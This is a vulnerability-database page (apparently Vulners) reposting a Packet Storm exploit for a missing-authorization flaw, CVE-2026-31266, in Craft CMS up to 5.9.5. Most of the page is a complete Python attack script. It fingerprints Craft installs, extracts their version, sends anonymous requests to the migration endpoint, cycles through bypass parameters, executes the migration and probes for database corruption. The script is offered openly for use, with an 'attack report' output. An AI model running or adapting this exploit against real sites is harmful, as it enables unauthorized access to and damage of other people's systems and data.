Lucene search
K

๐Ÿ“„ Craft CMS 5.9.5 Missing Authorization / Authentication Bypass

๐Ÿ—“๏ธย 11 Jun 2026ย 00:00:00Reported byย indoushkaTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 10ย Views

Craft CMS versions up to 5.9.5 have a missing authorization flaw allowing authentication bypass.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
cms-security-poc
4 Feb 202621:01
โ€“githubexploit
ATTACKERKB
CVE-2026-31266
27 May 202600:00
โ€“attackerkb
Circl
CVE-2026-31266
5 Jun 202615:00
โ€“circl
CNNVD
Craft CMS ๅฎ‰ๅ…จๆผๆดž
27 May 202600:00
โ€“cnnvd
CVE
CVE-2026-31266
27 May 202600:00
โ€“cve
Cvelist
CVE-2026-31266
27 May 202600:00
โ€“cvelist
NVD
CVE-2026-31266
27 May 202615:16
โ€“nvd
Packet Storm
๐Ÿ“„ Craft CMS 5.9.5 Missing Authorization / Denial of Service
5 Jun 202600:00
โ€“packetstorm
Positive Technologies
PT-2026-43997
27 May 202600:00
โ€“ptsecurity
RedhatCVE
CVE-2026-31266
5 Jun 202619:45
โ€“redhatcve
Rows per page
==================================================================================================================================
    | # Title     : Craft CMS โ‰ค 5.9.5 Missing Authorization Vulnerability โ€“ Authentication Bypass                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://craftcms.com                                                                                             |
    ==================================================================================================================================
    
    [+] Summary    : This script is an assessment and exploitation framework targeting a missing authorization vulnerability in affected versions 
                     of Craft CMS that may permit unauthorized access to privileged migration functionality.
    
    [+] POC        :  
    
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import argparse
    import time
    import json
    import re
    from urllib.parse import urljoin, urlparse
    
    BANNER = """
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘  Craft CMS Missing Authorization Exploit (CVE-2026-31266)                    โ•‘
    โ•‘  Affected: Craft CMS <= 5.9.5                                                โ•‘
    โ•‘  Type: Missing Authorization -> Authentication Bypass                        โ•‘
    โ•‘  Discovered by: indoushka                                                    โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """
    
    class CraftCMSExploit:
        def __init__(self, target_url, verbose=False, timeout=10):
            self.target_url = target_url.rstrip('/')
            self.verbose = verbose
            self.timeout = timeout
            self.session = requests.Session()
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                "Accept": "application/json, text/plain, */*",
                "Content-Type": "application/x-www-form-urlencoded"
            })
            self.base_action_url = f"{self.target_url}/actions/app/migrate"
        
        def log(self, msg, level="INFO"):
            """Print formatted messages"""
            colors = {
                "INFO": "\033[94m[*]\033[0m",
                "SUCCESS": "\033[92m[+]\033[0m",
                "ERROR": "\033[91m[-]\033[0m",
                "WARNING": "\033[93m[!]\033[0m",
                "DATA": "\033[96m[>]\033[0m"
            }
            prefix = colors.get(level, "[*]")
            print(f"{prefix} {msg}")
        
        def check_craft_cms(self):
            """Check if target is running Craft CMS"""
            self.log("Checking if target is Craft CMS...")
    
            checks = [
                "/admin/login",
                "/index.php?p=admin/login",
                "/actions/users/login",
                "/cp",
                "/admin/actions/users/login"
            ]
            
            for check in checks:
                try:
                    url = f"{self.target_url}{check}"
                    response = self.session.get(url, timeout=self.timeout)
                    
                    if response.status_code == 200:
                        if "craft" in response.text.lower() or "cms" in response.text.lower():
                            self.log(f"Craft CMS detected at: {url}", "SUCCESS")
                            return True
                except:
                    continue
            
            self.log("Could not confirm Craft CMS", "WARNING")
            return False
        
        def test_migrate_endpoint(self):
            """Test if the migrate endpoint is accessible anonymously"""
            self.log("Testing migrate endpoint accessibility...")
            
            try:
                response = self.session.post(
                    self.base_action_url,
                    data={},
                    timeout=self.timeout
                )
                
                if self.verbose:
                    self.log(f"Response Status: {response.status_code}", "DATA")
                    self.log(f"Response Headers: {dict(response.headers)}", "DATA")
    
                if response.status_code == 200:
                    self.log("Migrate endpoint is accessible! (200 OK)", "SUCCESS")
                    return True
                elif response.status_code == 403:
                    self.log("Migrate endpoint is protected (403 Forbidden)", "INFO")
                    return False
                elif response.status_code == 404:
                    self.log("Migrate endpoint not found (404)", "INFO")
                    return False
                else:
                    self.log(f"Unexpected response: {response.status_code}", "WARNING")
                    return response.status_code == 200
                    
            except requests.exceptions.RequestException as e:
                self.log(f"Error testing endpoint: {e}", "ERROR")
                return False
        
        def execute_migration(self, migration_params=None):
            """
            Execute migration via the vulnerable endpoint
            
            Args:
                migration_params: Optional parameters for migration
            """
            self.log("Attempting to execute migration...")
            
            data = migration_params or {}
            
            try:
                response = self.session.post(
                    self.base_action_url,
                    data=data,
                    timeout=self.timeout
                )
                
                if self.verbose:
                    self.log(f"Request URL: {self.base_action_url}", "DATA")
                    self.log(f"Request Data: {data}", "DATA")
                    self.log(f"Response Status: {response.status_code}", "DATA")
                
                return response
                
            except requests.exceptions.RequestException as e:
                self.log(f"Error executing migration: {e}", "ERROR")
                return None
        
        def check_database_tables(self, table_names=None):
            """
            Check if database tables have been affected
            This is a detection method based on the vulnerability impact
            """
            if not table_names:
                table_names = ['sessions', 'users', 'craft_session', 'craft_users']
            
            self.log("Checking for database impact...")
    
            for table in table_names:
    
                test_endpoints = [
                    f"{self.target_url}/actions/users/login",
                    f"{self.target_url}/admin/actions/users/login",
                    f"{self.target_url}/index.php?p=admin/actions/users/login"
                ]
                
                for endpoint in test_endpoints:
                    try:
                        response = self.session.post(endpoint, data={
                            "loginName": "test",
                            "password": "test"
                        }, timeout=self.timeout)
    
                        if response.status_code == 500 or "database" in response.text.lower():
                            if "sessions" in response.text.lower() or "table" in response.text.lower():
                                self.log(f"Possible database corruption detected: {response.text[:200]}", "WARNING")
                                return True
                                
                    except:
                        continue
            
            return False
        
        def extract_version_info(self):
            """Extract Craft CMS version information"""
            self.log("Attempting to extract version information...")
    
            version_patterns = [
                r'Craft CMS (\d+\.\d+\.\d+)',
                r'craft\.version\s*=\s*["\'](\d+\.\d+\.\d+)',
                r'<meta name="generator" content="Craft CMS (\d+\.\d+\.\d+)"'
            ]
    
            version_files = [
                "/dist/js/craft.js",
                "/resources/js/craft.js",
                "/admin/dist/js/craft.js",
                "/cp/resources/js/craft.js"
            ]
            
            for file_path in version_files:
                try:
                    url = f"{self.target_url}{file_path}"
                    response = self.session.get(url, timeout=self.timeout)
                    
                    if response.status_code == 200:
                        for pattern in version_patterns:
                            match = re.search(pattern, response.text)
                            if match:
                                version = match.group(1)
                                self.log(f"Detected Craft CMS version: {version}", "SUCCESS")
                                return version
                except:
                    continue
            
            self.log("Could not determine exact version", "WARNING")
            return None
        
        def attempt_bypass_with_params(self, param_combinations=None):
            """Attempt to bypass with different parameter combinations"""
            if not param_combinations:
                param_combinations = [
                    {},  
                    {"allowAdminChanges": "1"},
                    {"allowAdminChanges": "true"},
                    {"allowAnonymous": "1"},
                    {"force": "1"},
                    {"force": "true"},
                    {"skipBackup": "1"},
                    {"skipBackup": "true"},
                    {"allowAdminChanges": "1", "force": "1"},
                    {"allowAdminChanges": "1", "skipBackup": "1"},
                ]
            
            self.log(f"Testing {len(param_combinations)} parameter combinations...")
            
            vulnerable_combos = []
            
            for i, params in enumerate(param_combinations, 1):
                if self.verbose:
                    self.log(f"Testing combo {i}/{len(param_combinations)}: {params}")
                
                response = self.execute_migration(params)
                
                if response and response.status_code == 200:
                    self.log(f"Successful bypass with params: {params}", "SUCCESS")
                    vulnerable_combos.append(params)
                elif response and response.status_code == 500 and self.verbose:
                    self.log(f"Error with params {params}: {response.text[:100]}")
                
                time.sleep(0.5)
            
            return vulnerable_combos
        
        def generate_attack_report(self, success):
            """Generate attack report"""
            report = {
                "target": self.target_url,
                "vulnerability": "CVE-2026-31266 - Missing Authorization",
                "affected_versions": "Craft CMS <= 5.9.5",
                "attack_successful": success,
                "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
                "endpoint_tested": self.base_action_url
            }
            
            print("\n" + "=" * 60)
            print("ATTACK REPORT")
            print("=" * 60)
            print(json.dumps(report, indent=2))
            print("=" * 60)
            
            return report
        
        def full_attack(self):
            """Execute full attack chain"""
            self.log("Starting full attack chain...")
    
            is_craft = self.check_craft_cms()
            if not is_craft:
                self.log("Target may not be Craft CMS, continuing anyway...", "WARNING")
    
            version = self.extract_version_info()
            if version:
                self.log(f"Target version: {version}")
                if self.compare_versions(version, "5.9.5") > 0:
                    self.log("Target version appears to be patched", "WARNING")
    
            is_vulnerable = self.test_migrate_endpoint()
            
            if not is_vulnerable:
                self.log("Initial test suggests endpoint is protected", "WARNING")
                self.log("Attempting bypass techniques...")
                vulnerable_combos = self.attempt_bypass_with_params()
                is_vulnerable = len(vulnerable_combos) > 0
    
            if is_vulnerable:
                self.log("Vulnerability confirmed! Executing attack...", "SUCCESS")
                response = self.execute_migration()
                
                if response:
                    self.log("Attack executed successfully!", "SUCCESS")
                    if self.verbose:
                        print(f"\nResponse content:\n{response.text[:500]}")
    
                    self.check_database_tables()
                    
                    self.generate_attack_report(True)
                    return True
            else:
                self.log("Target does not appear to be vulnerable", "ERROR")
                self.generate_attack_report(False)
                return False
        
        @staticmethod
        def compare_versions(version1, version2):
            """Compare two version strings"""
            def normalize(v):
                return [int(x) for x in v.split('.')]
            
            v1 = normalize(version1)
            v2 = normalize(version2)
            
            for i in range(min(len(v1), len(v2))):
                if v1[i] != v2[i]:
                    return v1[i] - v2[i]
            return len(v1) - len(v2)
    
    def check_vulnerability(target_url):
        """Quick vulnerability check"""
        exploit = CraftCMSExploit(target_url, verbose=False)
        return exploit.test_migrate_endpoint()
    
    
    def exploit_single(target_url, verbose=False):
        """Single target exploitation"""
        exploit = CraftCMSExploit(target_url, verbose)
        return exploit.full_attack()
    
    def main():
        parser = argparse.ArgumentParser(description="Craft CMS Missing Authorization Exploit (CVE-2026-31266)")
        parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://localhost:8080)")
        parser.add_argument("--check", action="store_true", help="Quick vulnerability check only")
        parser.add_argument("--extract-version", action="store_true", help="Extract Craft CMS version")
        parser.add_argument("--bypass", action="store_true", help="Attempt parameter bypass techniques")
        parser.add_argument("--test-migrate", action="store_true", help="Test migrate endpoint only")
        parser.add_argument("-v", "--verbose", action="store_true", help="Show verbose output")
        
        args = parser.parse_args()
        
        print(BANNER)
    
        if args.check:
            print("\n[*] Performing quick vulnerability check...")
            is_vulnerable = check_vulnerability(args.url)
            if is_vulnerable:
                print(f"\n[+] {args.url} appears to be VULNERABLE to CVE-2026-31266")
            else:
                print(f"\n[-] {args.url} does not appear to be vulnerable")
            return
    
        exploit = CraftCMSExploit(args.url, args.verbose)
    
        if args.extract_version:
            exploit.extract_version_info()
            return
    
        if args.test_migrate:
            result = exploit.test_migrate_endpoint()
            if result:
                print("\n[+] Migrate endpoint is accessible!")
                print("[+] The target is likely vulnerable to CVE-2026-31266")
            else:
                print("\n[-] Migrate endpoint is not accessible")
            return
    
        if args.bypass:
            print("\n[*] Attempting parameter bypass techniques...")
            vulnerable_combos = exploit.attempt_bypass_with_params()
            if vulnerable_combos:
                print(f"\n[+] Found {len(vulnerable_combos)} working parameter combinations!")
                for combo in vulnerable_combos:
                    print(f"    - {combo}")
            else:
                print("\n[-] No bypass techniques worked")
            return
    
        exploit.full_attack()
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Jun 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.17.3
EPSS0.00047
SSVC
10